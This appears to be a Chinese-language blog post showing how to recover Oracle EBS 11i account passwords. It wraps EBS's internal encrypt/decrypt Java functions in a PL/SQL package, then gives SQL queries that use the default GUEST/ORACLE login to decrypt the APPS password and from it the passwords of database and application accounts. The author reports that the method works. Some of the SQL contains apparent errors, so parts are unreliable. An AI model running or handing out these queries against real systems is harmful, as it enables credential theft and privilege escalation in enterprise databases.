EBS 11i有個方法可以破解EBS帳號的密碼,網路上已有許多的文章都有提到,今天依據這些方法測試一下,
果然可以順利取得EBS帳號用戶的密碼。
EBS使用的加解密JAVA函數:
加密函數:第一個參數是「金鑰」;第二個參數是「密碼明文」,傳回加密後字串
oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String
解密函數:第一個參數是「金鑰」;第二個參數是「加密後字串」,傳回密碼明文
oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String
撰寫加解密的Package
CREATE OR REPLACE package APPS.pk_password_use authid current_user as
--加密函數
function encrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
--解密函數
function decrypt(v_key in Varchar2, value in Varchar2) return Varchar2;
end;
/
CREATE OR REPLACE package body APPS.pk_password_use as
function encrypt(key in Varchar2, value in Varchar2) return Varchar2 as
language java name 'oracle.apps.fnd.security.WebSessionManagerProc.encrypt(java.lang.String,java.lang.String) return java.lang.String';
function decrypt(key in Varchar2, value in Varchar2) return Varchar2 as
language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
end;
/
取得APPS的密碼(任一個User/Password都可以取得)。
--測試的結果的確可以取得APPS的密碼。
--不用管fnd_user_view取出來的加密字串是什麼,只要USER/Password正確就可以了
select APPS.pk_password_use.decrypt('GUEST/ORACLE',
(select encrypted_foundation_password
from apps.fnd_user_view
where user_name='GUEST')) pwd
from dual;
取得DB帳號PO的密碼。
--前提是要有APPS密碼,假設密碼是APPS123。
select APPS.pk_password_use.decrypt('APPS',
(select encrypted_oracle_password
from fnd_oracle_userid
where oracle_username = 'PO';)) pwd
from dual;
取得APP帳號GUEST的密碼。
--前提是要有APPS密碼,假設密碼是APPS123。
select APPS.pk_password_use.decrypt('APPS',
(select encrypted_oracle_password
from fnd_user
where oracle_username = 'GUEST';)) pwd
from dual;